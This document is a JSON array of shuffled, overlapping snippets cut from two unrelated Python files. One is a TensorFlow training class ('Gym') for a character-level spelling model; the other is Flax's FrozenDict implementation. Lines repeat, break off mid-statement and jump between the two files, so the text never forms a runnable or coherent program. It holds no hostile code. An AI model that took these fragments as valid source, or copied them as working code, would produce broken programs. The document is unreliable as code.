"epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric,",
"from spellnn.data.util import nb_lines from spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] =",
"= self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.train_dataset",
"dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset =",
"str] = 'auto', validation_steps: Union[int, str] = 'auto', log_dir: str",
"signature, Parameter from pathlib import Path from pprint import pprint",
"self.nb_train_samples dataset = tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10",
"self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset = self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32',",
"'auto': validation_steps = self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history",
"float = 0.3): pprint(locals()) all_chars = [alphabet.START, alphabet.END] + get_chars(locale)",
"= {name}.__name__ create.__doc__ = {name}.__init__.__doc__ setattr(self, create.__name__, create) '''), {'self':",
"= nb_lines(path) print(all_samples) self.batch_size = batch_size self.nb_train_samples = int((1 -",
"= 0 self.batch_size = 0 def construct_dataset(self, path: str, locale:",
"dec_in), targ)) self.train_dataset = self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset =",
"Union import fire import tensorflow as tf from tensorflow.keras.callbacks import",
"TerminateOnNaN from tensorflow.keras import Model from spellnn import models from",
"import dedent from typing import Optional, Union import fire import",
"Optional[tf.data.Dataset] = None self.char2int: Optional[CharMapping] = None self.model: Optional[Model] =",
"= 0 def construct_dataset(self, path: str, locale: str, batch_size: int",
"use_multiprocessing: bool = False): pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path =",
"= all_samples - self.nb_train_samples dataset = tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples)",
"Union[int, str] = 'auto', log_dir: str = 'logs', use_multiprocessing: bool",
"callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ])",
"0.1 if c not in {alphabet.START, alphabet.END} else 0 for",
"construct_dataset(self, path: str, locale: str, batch_size: int = 32, validation_split:",
"if v.default is not Parameter.empty and k != 'self'} arguments['nb_symbols']",
"number of lines in the file...', end=' ') all_samples =",
"save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ]) return history.history if __name__ == '__main__':",
"monitor_metric='val_acc', patience: int = 5, steps_per_epoch: Union[int, str] = 'auto',",
"DataProcessor from spellnn.data.util import nb_lines from spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL']",
"CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def",
"0 self.batch_size = 0 def construct_dataset(self, path: str, locale: str,",
"TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ]) return history.history",
"getattr(self, name) def train(self, epochs: int, monitor_metric='val_acc', patience: int =",
"1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience),",
"typing import Optional, Union import fire import tensorflow as tf",
"inp=[b], Tout=['int32', 'int32', 'int32'])) self.valid_dataset = self.valid_dataset.map(lambda enc_in, dec_in, targ:",
"get_chars(locale) char_weights = [0.5 if c.isalpha() and c.islower() else 0.2",
"k, v in arguments.items()]) # print(arg_str) exec(dedent(f''' def create({arg_str}): self.model",
"return getattr(self, name) def train(self, epochs: int, monitor_metric='val_acc', patience: int",
"reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset = self.valid_dataset.map( lambda b:",
"FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def __init__(self): self.train_dataset: Optional[tf.data.Dataset] = None",
"== 'auto': validation_steps = self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc'])",
"- self.nb_train_samples dataset = tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset =",
"pprint from textwrap import dedent from typing import Optional, Union",
"return self def create_model(self, name): arguments = signature(getattr(models, name).__init__) arguments",
"import pprint from textwrap import dedent from typing import Optional,",
"drop_remainder=True) self.valid_dataset = self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32',",
"from spellnn import models from spellnn.data import alphabet from spellnn.data.alphabet",
"lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.valid_dataset = self.valid_dataset.map(lambda",
"== 'auto': steps_per_epoch = self.nb_train_samples // self.batch_size if validation_steps ==",
"dataset = tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10 *",
"batch_size self.nb_train_samples = int((1 - validation_split) * all_samples) self.nb_valid_samples =",
"metrics=['acc']) history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing,",
"self.char2int: Optional[CharMapping] = None self.model: Optional[Model] = None self.nb_train_samples: int",
"if c.isalpha() and c.islower() else 0.2 if c.isalpha() else 0.1",
"str else f'{k}=' '\"' + str(v) + '\"' for k,",
"nb_lines from spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL",
"Optional[Model] = None self.nb_train_samples: int = 0 self.nb_valid_samples: int =",
"'auto': steps_per_epoch = self.nb_train_samples // self.batch_size if validation_steps == 'auto':",
"- 1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric,",
"= None self.char2int: Optional[CharMapping] = None self.model: Optional[Model] = None",
"alphabet.END} else 0 for c in all_chars] self.char2int = CharMapping(chars=all_chars,",
"= None self.nb_train_samples: int = 0 self.nb_valid_samples: int = 0",
"= 'auto', validation_steps: Union[int, str] = 'auto', log_dir: str =",
"0.3): pprint(locals()) all_chars = [alphabet.START, alphabet.END] + get_chars(locale) char_weights =",
"targ)) self.valid_dataset = self.valid_dataset.repeat() return self def create_model(self, name): arguments",
"arg_str}) return getattr(self, name) def train(self, epochs: int, monitor_metric='val_acc', patience:",
"{alphabet.START, alphabet.END} else 0 for c in all_chars] self.char2int =",
"= 'auto', log_dir: str = 'logs', use_multiprocessing: bool = False):",
"self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10 * batch_size, seed=42,",
"if validation_steps == 'auto': validation_steps = self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam',",
"0 def construct_dataset(self, path: str, locale: str, batch_size: int =",
"= None self.model: Optional[Model] = None self.nb_train_samples: int = 0",
"Gym: def __init__(self): self.train_dataset: Optional[tf.data.Dataset] = None self.valid_dataset: Optional[tf.data.Dataset] =",
"patience=patience), ]) return history.history if __name__ == '__main__': cli =",
"name), arg_str: arg_str}) return getattr(self, name) def train(self, epochs: int,",
"include_unknown=True) data_processor = DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number of",
"arguments.parameters.items() if v.default is not Parameter.empty and k != 'self'}",
"logging import os from datetime import datetime from inspect import",
"else 0 for c in all_chars] self.char2int = CharMapping(chars=all_chars, include_unknown=True)",
"TensorBoard, TerminateOnNaN from tensorflow.keras import Model from spellnn import models",
"lines in the file...', end=' ') all_samples = nb_lines(path) print(all_samples)",
"None self.char2int: Optional[CharMapping] = None self.model: Optional[Model] = None self.nb_train_samples:",
"loss='sparse_categorical_crossentropy', metrics=['acc']) history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs,",
"spellnn.data.alphabet import get_chars from spellnn.data.processing import DataProcessor from spellnn.data.util import",
"self.nb_train_samples: int = 0 self.nb_valid_samples: int = 0 self.batch_size =",
"validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path,",
"log_dir: str = 'logs', use_multiprocessing: bool = False): pprint(locals()) log_dir",
"from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN from tensorflow.keras import",
"self.model: Optional[Model] = None self.nb_train_samples: int = 0 self.nb_valid_samples: int",
"= Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path) if steps_per_epoch == 'auto': steps_per_epoch",
"alphabet.END] + get_chars(locale) char_weights = [0.5 if c.isalpha() and c.islower()",
"self.batch_size = 0 def construct_dataset(self, path: str, locale: str, batch_size:",
"v in arguments.parameters.items() if v.default is not Parameter.empty and k",
"the file...', end=' ') all_samples = nb_lines(path) print(all_samples) self.batch_size =",
"datetime import datetime from inspect import signature, Parameter from pathlib",
"from spellnn.data import alphabet from spellnn.data.alphabet import get_chars from spellnn.data.processing",
"for k, v in arguments.items()]) # print(arg_str) exec(dedent(f''' def create({arg_str}):",
"len(self.char2int) arg_str = ', '.join([f'{k}=' + str(v) if type(v) !=",
"monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ]) return history.history if __name__",
"exec(dedent(f''' def create({arg_str}): self.model = {name}(**locals()) return self create.__name__ =",
"CharMapping(chars=all_chars, include_unknown=True) data_processor = DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number"
] |
[
"= {} for key, value in x.items(): ys[key] = unfreeze(value)",
"nested `dict` immutable by transforming it into `FrozenDict`. \"\"\" #",
"operates on native dicts. xs = unfreeze(xs) return FrozenDict(xs) def",
"into a dict. This way the internal data structure #",
"2.0 (the \"License\"); # you may not use this file",
"h = 0 for key, value in self.items(): h ^=",
"on native dicts. xs = unfreeze(xs) return FrozenDict(xs) def unfreeze(x:",
"params = variables.pop('params') Args: key: the key to remove from",
"TypeVar, Mapping, Dict, Tuple from flax import serialization import jax",
"does not contain any FrozenDicts. # instead we create those",
"items(self): for key in self._dict: yield (key, self[key]) def pop(self,",
"value = self[key] new_dict = dict(self._dict) new_dict.pop(key) new_self = type(self)(new_dict)",
"we create those lazily in `__getitem__`. # As a result",
"# limitations under the License. \"\"\"Frozen Dictionary.\"\"\" from typing import",
"unfreeze(self) def tree_flatten(self): return (self._dict,), () @classmethod def tree_unflatten(cls, _,",
"freeze( {key: serialization.from_state_dict(value, states[key]) for key, value in xs.items()}) serialization.register_serialization_state(",
"variables.pop('params') Args: key: the key to remove from the dict",
"def unfreeze(x: FrozenDict[K, V]) -> Dict[K, V]: \"\"\"Unfreeze a FrozenDict.",
"into `FrozenDict`. \"\"\" # Turn the nested FrozenDict into a",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"\"\"\"Frozen Dictionary.\"\"\" from typing import TypeVar, Mapping, Dict, Tuple from",
"\"\"\" value = self[key] new_dict = dict(self._dict) new_dict.pop(key) new_self =",
"return iter(self._dict) def __len__(self): return len(self._dict) def __repr__(self): return 'FrozenDict(%r)'",
"V]) -> FrozenDict[K, V]: \"\"\"Freeze a nested dict. Makes a",
"copy of a `FrozenDict` mutable by transforming it into (nested)",
"new_dict = dict(self._dict) new_dict.pop(key) new_self = type(self)(new_dict) return new_self, value",
"is None: h = 0 for key, value in self.items():",
"entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace)) def items(self): for key in self._dict:",
"() @classmethod def tree_unflatten(cls, _, data): return cls(*data) def freeze(xs:",
"if not isinstance(x, (FrozenDict, dict)): return x ys = {}",
"structure # of FrozenDict does not contain any FrozenDicts. #",
"FrozenDict with additional or replaced entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace)) def",
"self._hash is None: h = 0 for key, value in",
"use this file except in compliance with the License. #",
"Flax Authors. # # Licensed under the Apache License, Version",
"K) -> Tuple['FrozenDict[K, V]', V]: \"\"\"Create a new FrozenDict where",
"return unfreeze(self) def tree_flatten(self): return (self._dict,), () @classmethod def tree_unflatten(cls,",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"License. # You may obtain a copy of the License",
"pair with the new FrozenDict and the removed value. \"\"\"",
"type(self)(self, **unfreeze(add_or_replace)) def items(self): for key in self._dict: yield (key,",
"Mapping[K, V]) -> 'FrozenDict[K, V]': \"\"\"Create a new FrozenDict with",
"under the License is distributed on an \"AS IS\" BASIS,",
"= variables.pop('params') Args: key: the key to remove from the",
"License for the specific language governing permissions and # limitations",
"the removed value. \"\"\" value = self[key] new_dict = dict(self._dict)",
"__hash__(self): if self._hash is None: h = 0 for key,",
"'_hash') def __init__(self, *args, **kwargs): self._dict = dict(*args, **kwargs) self._hash",
"Makes a nested `dict` immutable by transforming it into `FrozenDict`.",
"= self[key] new_dict = dict(self._dict) new_dict.pop(key) new_self = type(self)(new_dict) return",
"'FrozenDict[K, V]': \"\"\"Create a new FrozenDict with additional or replaced",
"FrozenDicts. # instead we create those lazily in `__getitem__`. #",
"\"\"\"An immutable variant of the Python dict.\"\"\" __slots__ = ('_dict',",
"def freeze(xs: Dict[K, V]) -> FrozenDict[K, V]: \"\"\"Freeze a nested",
"def __len__(self): return len(self._dict) def __repr__(self): return 'FrozenDict(%r)' % self._dict",
"value in x.items(): ys[key] = unfreeze(value) return ys def _frozen_dict_state_dict(xs):",
"FrozenDict[K, V]) -> Dict[K, V]: \"\"\"Unfreeze a FrozenDict. Makes a",
"under the License. \"\"\"Frozen Dictionary.\"\"\" from typing import TypeVar, Mapping,",
"in compliance with the License. # You may obtain a",
"def __contains__(self, key): return key in self._dict def __iter__(self): return",
"where one entry is removed. Example:: state, params = variables.pop('params')",
"software # distributed under the License is distributed on an",
"in self._dict: yield (key, self[key]) def pop(self, key: K) ->",
"FrozenDict does not contain any FrozenDicts. # instead we create",
"dict. This way the internal data structure # of FrozenDict",
"return freeze( {key: serialization.from_state_dict(value, states[key]) for key, value in xs.items()})",
"fast # because it operates on native dicts. xs =",
"governing permissions and # limitations under the License. \"\"\"Frozen Dictionary.\"\"\"",
"\"\"\"Create a new FrozenDict where one entry is removed. Example::",
"transforming it into `FrozenDict`. \"\"\" # Turn the nested FrozenDict",
"FrozenDict(xs) def unfreeze(x: FrozenDict[K, V]) -> Dict[K, V]: \"\"\"Unfreeze a",
"dict): return FrozenDict(v) return v def __setitem__(self, key, value): raise",
"immutable variant of the Python dict.\"\"\" __slots__ = ('_dict', '_hash')",
"<filename>flax/core/frozen_dict.py # Copyright 2020 The Flax Authors. # # Licensed",
"= None def __getitem__(self, key): v = self._dict[key] if isinstance(v,",
"mutable copy of a `FrozenDict` mutable by transforming it into",
"jax K = TypeVar('K') V = TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K,",
"-> Tuple['FrozenDict[K, V]', V]: \"\"\"Create a new FrozenDict where one",
"ys = {} for key, value in x.items(): ys[key] =",
"nested FrozenDict into a dict. This way the internal data",
"return cls(*data) def freeze(xs: Dict[K, V]) -> FrozenDict[K, V]: \"\"\"Freeze",
"dict(self._dict) new_dict.pop(key) new_self = type(self)(new_dict) return new_self, value def unfreeze(self)",
"key, value in self.items(): h ^= hash((key, value)) self._hash =",
"Dict[K, V]: \"\"\"Unfreeze a FrozenDict. Makes a mutable copy of",
"# As a result tree_flatten/unflatten will be fast # because",
"__len__(self): return len(self._dict) def __repr__(self): return 'FrozenDict(%r)' % self._dict def",
"= 0 for key, value in self.items(): h ^= hash((key,",
"None def __getitem__(self, key): v = self._dict[key] if isinstance(v, dict):",
"OF ANY KIND, either express or implied. # See the",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"if self._hash is None: h = 0 for key, value",
"# because it operates on native dicts. xs = unfreeze(xs)",
"ANY KIND, either express or implied. # See the License",
"See the License for the specific language governing permissions and",
"__repr__(self): return 'FrozenDict(%r)' % self._dict def __hash__(self): if self._hash is",
"ys def _frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value) for key, value in",
"the License. # You may obtain a copy of the",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"for the specific language governing permissions and # limitations under",
"Tuple['FrozenDict[K, V]', V]: \"\"\"Create a new FrozenDict where one entry",
"to in writing, software # distributed under the License is",
"removed value. \"\"\" value = self[key] new_dict = dict(self._dict) new_dict.pop(key)",
"def _restore_frozen_dict(xs, states): return freeze( {key: serialization.from_state_dict(value, states[key]) for key,",
"# See the License for the specific language governing permissions",
"value def unfreeze(self) -> Dict[K, V]: return unfreeze(self) def tree_flatten(self):",
"a new FrozenDict where one entry is removed. Example:: state,",
"value in xs.items()} def _restore_frozen_dict(xs, states): return freeze( {key: serialization.from_state_dict(value,",
"the nested FrozenDict into a dict. This way the internal",
"or agreed to in writing, software # distributed under the",
"required by applicable law or agreed to in writing, software",
"the key to remove from the dict Returns: A pair",
"BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either",
"^= hash((key, value)) self._hash = h return self._hash def copy(self,",
"with the new FrozenDict and the removed value. \"\"\" value",
"return ys def _frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value) for key, value",
"the Python dict.\"\"\" __slots__ = ('_dict', '_hash') def __init__(self, *args,",
"by transforming it into `FrozenDict`. \"\"\" # Turn the nested",
"with the License. # You may obtain a copy of",
"import jax K = TypeVar('K') V = TypeVar('V') @jax.tree_util.register_pytree_node_class class",
"% self._dict def __hash__(self): if self._hash is None: h =",
"tree_unflatten(cls, _, data): return cls(*data) def freeze(xs: Dict[K, V]) ->",
"@classmethod def tree_unflatten(cls, _, data): return cls(*data) def freeze(xs: Dict[K,",
"freeze(xs: Dict[K, V]) -> FrozenDict[K, V]: \"\"\"Freeze a nested dict.",
"Dictionary.\"\"\" from typing import TypeVar, Mapping, Dict, Tuple from flax",
"nested dict. Makes a nested `dict` immutable by transforming it",
"unfreeze(xs) return FrozenDict(xs) def unfreeze(x: FrozenDict[K, V]) -> Dict[K, V]:",
"Dict[K, V]) -> FrozenDict[K, V]: \"\"\"Freeze a nested dict. Makes",
"self._dict def __hash__(self): if self._hash is None: h = 0",
"mutable by transforming it into (nested) dict. \"\"\" if not",
"def copy(self, add_or_replace: Mapping[K, V]) -> 'FrozenDict[K, V]': \"\"\"Create a",
"compliance with the License. # You may obtain a copy",
"agreed to in writing, software # distributed under the License",
"import TypeVar, Mapping, Dict, Tuple from flax import serialization import",
"way the internal data structure # of FrozenDict does not",
"with additional or replaced entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace)) def items(self):",
"_restore_frozen_dict(xs, states): return freeze( {key: serialization.from_state_dict(value, states[key]) for key, value",
"key: the key to remove from the dict Returns: A",
"distributed under the License is distributed on an \"AS IS\"",
"= type(self)(new_dict) return new_self, value def unfreeze(self) -> Dict[K, V]:",
"new FrozenDict with additional or replaced entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace))",
"V]', V]: \"\"\"Create a new FrozenDict where one entry is",
"-> 'FrozenDict[K, V]': \"\"\"Create a new FrozenDict with additional or",
"V]': \"\"\"Create a new FrozenDict with additional or replaced entries.\"\"\"",
"express or implied. # See the License for the specific",
"def __iter__(self): return iter(self._dict) def __len__(self): return len(self._dict) def __repr__(self):",
"a new FrozenDict with additional or replaced entries.\"\"\" return type(self)(self,",
"except in compliance with the License. # You may obtain",
"(FrozenDict, dict)): return x ys = {} for key, value",
"in self.items(): h ^= hash((key, value)) self._hash = h return",
"Licensed under the Apache License, Version 2.0 (the \"License\"); #",
"\"\"\" if not isinstance(x, (FrozenDict, dict)): return x ys =",
"not use this file except in compliance with the License.",
"FrozenDict and the removed value. \"\"\" value = self[key] new_dict",
"def pop(self, key: K) -> Tuple['FrozenDict[K, V]', V]: \"\"\"Create a",
"hash((key, value)) self._hash = h return self._hash def copy(self, add_or_replace:",
"writing, software # distributed under the License is distributed on",
"from flax import serialization import jax K = TypeVar('K') V",
"you may not use this file except in compliance with",
"# Licensed under the Apache License, Version 2.0 (the \"License\");",
"state, params = variables.pop('params') Args: key: the key to remove",
"variant of the Python dict.\"\"\" __slots__ = ('_dict', '_hash') def",
"2020 The Flax Authors. # # Licensed under the Apache",
"V]): \"\"\"An immutable variant of the Python dict.\"\"\" __slots__ =",
"raise ValueError('FrozenDict is immutable.') def __contains__(self, key): return key in",
"data): return cls(*data) def freeze(xs: Dict[K, V]) -> FrozenDict[K, V]:",
"-> Dict[K, V]: \"\"\"Unfreeze a FrozenDict. Makes a mutable copy",
"self._hash = None def __getitem__(self, key): v = self._dict[key] if",
"key, value): raise ValueError('FrozenDict is immutable.') def __contains__(self, key): return",
"into (nested) dict. \"\"\" if not isinstance(x, (FrozenDict, dict)): return",
"copy(self, add_or_replace: Mapping[K, V]) -> 'FrozenDict[K, V]': \"\"\"Create a new",
"_frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value) for key, value in xs.items()} def",
"= unfreeze(value) return ys def _frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value) for",
"v def __setitem__(self, key, value): raise ValueError('FrozenDict is immutable.') def",
"CONDITIONS OF ANY KIND, either express or implied. # See",
"and # limitations under the License. \"\"\"Frozen Dictionary.\"\"\" from typing",
"flax import serialization import jax K = TypeVar('K') V =",
"value)) self._hash = h return self._hash def copy(self, add_or_replace: Mapping[K,",
"TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]): \"\"\"An immutable variant of the",
"is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES",
"V]: \"\"\"Create a new FrozenDict where one entry is removed.",
"__iter__(self): return iter(self._dict) def __len__(self): return len(self._dict) def __repr__(self): return",
"import serialization import jax K = TypeVar('K') V = TypeVar('V')",
"key in self._dict: yield (key, self[key]) def pop(self, key: K)",
"Returns: A pair with the new FrozenDict and the removed",
"__setitem__(self, key, value): raise ValueError('FrozenDict is immutable.') def __contains__(self, key):",
"return FrozenDict(v) return v def __setitem__(self, key, value): raise ValueError('FrozenDict",
"dict(*args, **kwargs) self._hash = None def __getitem__(self, key): v =",
"**kwargs) self._hash = None def __getitem__(self, key): v = self._dict[key]",
"from the dict Returns: A pair with the new FrozenDict",
"= ('_dict', '_hash') def __init__(self, *args, **kwargs): self._dict = dict(*args,",
"in `__getitem__`. # As a result tree_flatten/unflatten will be fast",
"__init__(self, *args, **kwargs): self._dict = dict(*args, **kwargs) self._hash = None",
"serialization.to_state_dict(value) for key, value in xs.items()} def _restore_frozen_dict(xs, states): return",
"a result tree_flatten/unflatten will be fast # because it operates",
"'FrozenDict(%r)' % self._dict def __hash__(self): if self._hash is None: h",
"Makes a mutable copy of a `FrozenDict` mutable by transforming",
"Tuple from flax import serialization import jax K = TypeVar('K')",
"OR CONDITIONS OF ANY KIND, either express or implied. #",
"the License is distributed on an \"AS IS\" BASIS, #",
"yield (key, self[key]) def pop(self, key: K) -> Tuple['FrozenDict[K, V]',",
"it operates on native dicts. xs = unfreeze(xs) return FrozenDict(xs)",
"`FrozenDict`. \"\"\" # Turn the nested FrozenDict into a dict.",
"entry is removed. Example:: state, params = variables.pop('params') Args: key:",
"h ^= hash((key, value)) self._hash = h return self._hash def",
"ValueError('FrozenDict is immutable.') def __contains__(self, key): return key in self._dict",
"return {key: serialization.to_state_dict(value) for key, value in xs.items()} def _restore_frozen_dict(xs,",
"FrozenDict(Mapping[K, V]): \"\"\"An immutable variant of the Python dict.\"\"\" __slots__",
"one entry is removed. Example:: state, params = variables.pop('params') Args:",
"removed. Example:: state, params = variables.pop('params') Args: key: the key",
"V]: \"\"\"Freeze a nested dict. Makes a nested `dict` immutable",
"*args, **kwargs): self._dict = dict(*args, **kwargs) self._hash = None def",
"law or agreed to in writing, software # distributed under",
"key, value in xs.items()} def _restore_frozen_dict(xs, states): return freeze( {key:",
"h return self._hash def copy(self, add_or_replace: Mapping[K, V]) -> 'FrozenDict[K,",
"def items(self): for key in self._dict: yield (key, self[key]) def",
"key): v = self._dict[key] if isinstance(v, dict): return FrozenDict(v) return",
"FrozenDict(v) return v def __setitem__(self, key, value): raise ValueError('FrozenDict is",
"FrozenDict into a dict. This way the internal data structure",
"\"\"\"Freeze a nested dict. Makes a nested `dict` immutable by",
"v = self._dict[key] if isinstance(v, dict): return FrozenDict(v) return v",
"may obtain a copy of the License at # #",
"{} for key, value in x.items(): ys[key] = unfreeze(value) return",
"= dict(self._dict) new_dict.pop(key) new_self = type(self)(new_dict) return new_self, value def",
"self._dict: yield (key, self[key]) def pop(self, key: K) -> Tuple['FrozenDict[K,",
"new FrozenDict and the removed value. \"\"\" value = self[key]",
"not contain any FrozenDicts. # instead we create those lazily",
"a FrozenDict. Makes a mutable copy of a `FrozenDict` mutable",
"is immutable.') def __contains__(self, key): return key in self._dict def",
"Turn the nested FrozenDict into a dict. This way the",
"of a `FrozenDict` mutable by transforming it into (nested) dict.",
"key): return key in self._dict def __iter__(self): return iter(self._dict) def",
"self._hash def copy(self, add_or_replace: Mapping[K, V]) -> 'FrozenDict[K, V]': \"\"\"Create",
"unfreeze(x: FrozenDict[K, V]) -> Dict[K, V]: \"\"\"Unfreeze a FrozenDict. Makes",
"IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,",
"= TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]): \"\"\"An immutable variant of",
"self._dict = dict(*args, **kwargs) self._hash = None def __getitem__(self, key):",
"new_dict.pop(key) new_self = type(self)(new_dict) return new_self, value def unfreeze(self) ->",
"-> FrozenDict[K, V]: \"\"\"Freeze a nested dict. Makes a nested",
"TypeVar('K') V = TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]): \"\"\"An immutable",
"may not use this file except in compliance with the",
"key to remove from the dict Returns: A pair with",
"any FrozenDicts. # instead we create those lazily in `__getitem__`.",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"return (self._dict,), () @classmethod def tree_unflatten(cls, _, data): return cls(*data)",
"this file except in compliance with the License. # You",
"or replaced entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace)) def items(self): for key",
"will be fast # because it operates on native dicts.",
"Args: key: the key to remove from the dict Returns:",
"dict Returns: A pair with the new FrozenDict and the",
"\"\"\"Unfreeze a FrozenDict. Makes a mutable copy of a `FrozenDict`",
"return v def __setitem__(self, key, value): raise ValueError('FrozenDict is immutable.')",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"remove from the dict Returns: A pair with the new",
"# # Licensed under the Apache License, Version 2.0 (the",
"file except in compliance with the License. # You may",
"The Flax Authors. # # Licensed under the Apache License,",
"on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS",
"key in self._dict def __iter__(self): return iter(self._dict) def __len__(self): return",
"in self._dict def __iter__(self): return iter(self._dict) def __len__(self): return len(self._dict)",
"of the Python dict.\"\"\" __slots__ = ('_dict', '_hash') def __init__(self,",
"x.items(): ys[key] = unfreeze(value) return ys def _frozen_dict_state_dict(xs): return {key:",
"tree_flatten/unflatten will be fast # because it operates on native",
"License. \"\"\"Frozen Dictionary.\"\"\" from typing import TypeVar, Mapping, Dict, Tuple",
"(key, self[key]) def pop(self, key: K) -> Tuple['FrozenDict[K, V]', V]:",
"new_self = type(self)(new_dict) return new_self, value def unfreeze(self) -> Dict[K,",
"__contains__(self, key): return key in self._dict def __iter__(self): return iter(self._dict)",
"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"type(self)(new_dict) return new_self, value def unfreeze(self) -> Dict[K, V]: return",
"`__getitem__`. # As a result tree_flatten/unflatten will be fast #",
"unfreeze(self) -> Dict[K, V]: return unfreeze(self) def tree_flatten(self): return (self._dict,),",
"for key in self._dict: yield (key, self[key]) def pop(self, key:",
"return FrozenDict(xs) def unfreeze(x: FrozenDict[K, V]) -> Dict[K, V]: \"\"\"Unfreeze",
"FrozenDict[K, V]: \"\"\"Freeze a nested dict. Makes a nested `dict`",
"`dict` immutable by transforming it into `FrozenDict`. \"\"\" # Turn",
"(self._dict,), () @classmethod def tree_unflatten(cls, _, data): return cls(*data) def",
"a nested dict. Makes a nested `dict` immutable by transforming",
"K = TypeVar('K') V = TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]):",
"cls(*data) def freeze(xs: Dict[K, V]) -> FrozenDict[K, V]: \"\"\"Freeze a",
"= self._dict[key] if isinstance(v, dict): return FrozenDict(v) return v def",
"language governing permissions and # limitations under the License. \"\"\"Frozen",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
